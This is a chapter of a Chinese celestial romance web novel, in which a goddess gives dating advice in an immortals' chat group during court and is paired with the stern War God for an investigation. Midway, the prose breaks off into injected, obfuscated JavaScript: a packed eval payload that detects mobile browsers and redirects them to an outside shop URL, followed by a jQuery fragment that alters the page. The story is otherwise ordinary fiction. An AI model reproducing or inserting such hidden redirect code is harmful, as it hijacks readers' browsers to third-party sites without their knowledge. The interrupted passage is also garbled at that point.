天庭的朝会一如既往地冗长。
天帝正端坐在乾坤殿的明堂上,慢条斯理地讲着政务。台下众仙形态各异,有的一丝不苟,有的浑水摸鱼。
乐宁就是后者,她垂着眼,目光在膝上的铜镜上。这面“灵犀宝鉴”背面刻着繁复的符文,正面却光滑如水面,只需要注入一丝丝灵力,便能浮现文字、画面,让持有者千里传音,随时随地畅聊无阻,甚至能传送小型物品,是近来最畅销的法器。
此刻,镜面上正浮着一个名为“缘来是你,仙界脱单群”的对话界面。
【凄凄惨惨等爱中】发来长长一段:“本仙,面容英俊潇洒、仪表堂堂。身材玉树临风,八块腹肌硬得无法剖腹。修为高深,法宝数不胜数,是个不折不扣的优质散仙。
“飞升前被同门师姐勾走了魂魄,后来我与师姐意外分开。为了寻找她,本仙在三界穿梭奔波了一千年,现在终于觅到她的芳踪!
“这一千年来,本仙守身如玉、心如止水,不曾与任何一位仙子产生羁绊。我时刻准备着将我珍贵的忠贞,郑重地、完整地献给她。
“那么问题来了,我该怎么优雅而不失诚意地献给她?”
这条一出,炸出不少消息。
【恋爱不如炼丹】:“叽里咕噜一大堆,说啥呢?”
【心平气和】:“奔波一千年才找到,那位仙子怕不是已经有仙侣了……”
【一枚帅仙】:“哦哟,纯阳之体啊,不过我可要提醒你一句,现在纯阳之体可不吃香,大家都喜欢坏坏的男人。”
【瑶池一枝花】:“别听他的,他一个男的懂什么?姐就喜欢。加油吧,痴情的纯阳男。”
看完这几条消息,乐宁差点笑出声,不禁腹诽这个新入群的【凄凄惨惨等爱中】说话真有特点。她迅速抬眼扫了一圈乾坤殿,发现没人注意到她,低下头飞快回复【凄凄惨惨等爱中】:“说了一大堆,就是你想追她。”
虽然乐宁本人一次恋爱都没谈过,但是基于爱八卦吃瓜的性格,飞升一千年来,见证了太多仙凡虐恋、仙仙错恋、仙魔不伦恋……
所以她自信地给自己取了群名称【爱情大师,欢迎咨询】。
【凄凄惨惨等爱中】马上回复【爱情大师,欢迎咨询】:“正是!”
乐宁回复:“你要追谁?”
对方沉默了几息。
【凄凄惨惨等爱中】:“不能说。她是个很有魅力的人,本仙推测,追她的人绝对很多,但凡本仙说出她的仙号,本仙的情敌们就要倾巢而出前来夺爱。”
【一枚帅仙】:“笑死,这也太夸张了吧,我严重怀疑是哪位寡疯了的仙子的小号,专门用来自吹自擂。”
【凄凄惨惨等爱中】回复【一枚帅仙】:“滚。”
乐宁的好奇心熊熊燃烧。有魅力并且追求者众多……这范围也太广了,花神以及她麾下的百花仙子、月神、甚至战神麾下的几位护法……
想到这里,乐宁摇了摇头,觉得【凄凄惨惨等爱中】在这场爱情战争中取得胜利的可能性很小,无论是上述的哪一位,追求者都要挤满乾坤殿了。
乐宁又问:“概述你们现在的关系。”
这次【凄凄惨惨等爱中】回复得很快:“飞升前她是我同门师姐,她飞升后我便失去了她的消息。我找到她后一直想要和她联系,心里终日悸动不安却不敢和她接近,生怕她因为时过境迁忘了我。不,比起怕她忘了我,我更怕她不能接受现在的我。”
【恋爱不如炼丹】:“哈哈哈哈,飞升之前的事还拿来说!都过去几百年了你还追什么,趁早放弃吧,肯定没戏啊!”
【瑶池一枝花】:“听姐一句劝,没戏。你都说是很有魅力的仙了,这等仙子什么优质男没见过?你和她那么久没见过了,她说不定早就把你忘了。”
【一枚帅仙】:“完全傻狗。”
镜面上的字一行行跳出,乐宁能想象出这位【凄凄惨惨等爱中】被群嘲到面红耳赤的样子。
果然,对方郑重回道:“可是本仙元阳未泄,是纯正处子之身,我想整个仙界是处子之身的仙人并不多,这何尝不是一种敌无我有的优点?”
群里安静了一瞬。
然后炸了。
【恋爱不如炼丹】:“哈哈哈哈哈哈哈哈哈哈哈哈!!!”
【心平气和】:“这算什么优势……”
【一枚帅仙】:“兄弟仙界不讲这个,真的。”
【心平气和】:“一边担心别人忘了你,一边大肆嚷嚷要献忠贞,你不觉得自己很矛盾吗?”
乐宁看着刷屏的嘲笑,却忽然觉得这人有点意思。不是因为他浮夸又自恋的自述,而是那种有点笨拙的认真。
在仙界,双修仙侣不少,露水情缘也不少,像这样郑重其事地把贞洁当作追求优势的,实在是闻所未闻。
乐宁心中升起一股莫大的责任感,一种势必要帮他抱得美人归的冲动!
教导如何追人,这不正是她擅长的领域吗!
【爱情大师,欢迎咨询】回复【凄凄惨惨等爱中】:“好了,你既然找到她了,就慢慢来,一口吃不成大胖子,献忠贞什么的先放一放,现在最重要的是接近她。
“不管你们之间隔着什么距离,不管你们飞升前发生过什么以至于飞升后杳无音信一千年,你都得想办法在她身边占一席之地。哪怕只是做一起办公的同僚,只要有机会见面,机会就会变多。熟悉是第一步,然后才能诞生别的可能。如果她真的忘了你,也没什么,大不了从头来过呗。”
镜面静默片刻,然后跳出两大行字。
【凄凄惨惨等爱中】:“受教了!!!!!!!!”
【凄凄惨惨等爱中】:“万分感谢!!!!!!!!”
【凄凄惨惨等爱中】:“恩师受我一拜!!!!!”
乐宁嘴角不自觉上扬。这种为人师表,帮人指点迷津,对方还特别捧场的感觉,确实比在朝会上听天帝讲那些枯燥无聊的政事有意思多了。她正打算再补充几句注意事项,突然—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405965|200512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—
“伏魔仙君。”
天帝威严的声音从明台传来,直直把乐宁的思绪从脱单群里拉回来。
她迅速将灵犀宝鉴收回袖中,连忙站起身,用一副严肃认真的表情垂首作揖道:“臣在。”
殿内众仙纷纷侧目望向她。
天帝缓缓道:“木谷国内,你和战神的信众最多,此事便由你们二人调查。”
乐宁面上波澜不惊,无比正经,内里其实慌得不行。完了完了,刚才光顾着水群,完全没听朝会内容,前因后果、来龙去脉统统不知道。
直接问陛下“刚才说了什么”是绝对不行的,那等于承认自己上朝开小差,有损她在天帝眼中坚实可靠的形象。
更绝望的是和战神安仕松一起。乐宁平常与这位战神交集甚少,只远远见过几次,只觉得他气势凛冽,冷气袭人。传闻他惜字如金,开口必毒舌,而且极度厌恶工作效率低下的摸鱼人。
乐宁光是想着就感觉头大。
她定了定神,恭敬地对天帝说:“遵命。不知有无卷宗?臣想了解详情,以便更妥善地调查。”
天帝淡淡道:“卷宗已交予战神。”
乐宁躬身,“是,臣定当竭力查明真相。”
接下来的朝会,乐宁再也不敢分心。她聚精会神地听着每一件事,直到天帝宣布散朝,才暗自松了口气。
乐宁刚踏出乾坤殿,就被一道身影拦住。
那人一身银白劲装,仙界特有的云气为他周身渡上一层凌冽。劲装上披着一层薄薄的玄黑甲胄,是很早很早之前人间通用款式。
他没戴头盔,一头乌发整整齐齐地束在白玉冠中,眉骨投下的阴影让那双眼睛显得格外深。
此时,那双眼睛正没什么情绪地俯视着乐宁。
“卷宗已阅,路上说。”
“啊?”乐宁脱口而出,“不收拾收拾,这么快就走?”
乐宁也不是真要收什么东西,只是她昨天子时才睡,而卯时就起来上朝,真的很困,有必要回去补个觉。
仙界大部分仙君成仙后都不再饮食和睡觉,他们觉得这与凡人无异,是庸俗的表现。乐宁则与他们不同,认为饮食、睡觉、八卦是世间三大享受,缺一不可。
安仕松皱了皱眉,“天上一天,地上一年。不可耽搁。”
乐宁感觉自己的小心思被看穿了,左看看又瞄瞄,不敢直视安仕松的眼睛,低低地说了句:“那走吧。”
安仕松轻“嗯”一声,转身就走。
听着这生硬的“嗯”,乐宁忽然想起仙界脱单群里那位凄凄惨惨等爱中的感人语气。
同样是仙,差距怎么这么大?
她叹了口气,对着安仕松的背影喊:“等等我!”
几乎同时,袖中的灵犀宝鉴一阵震动,乐宁拿起一看,原来是群聊“缘来是你,仙界脱单群”蹦出了新消息,【凄凄惨惨等爱中】回复她:
“恩师,真是天助我也!我马上就要有接近她的机会了!特来报喜!”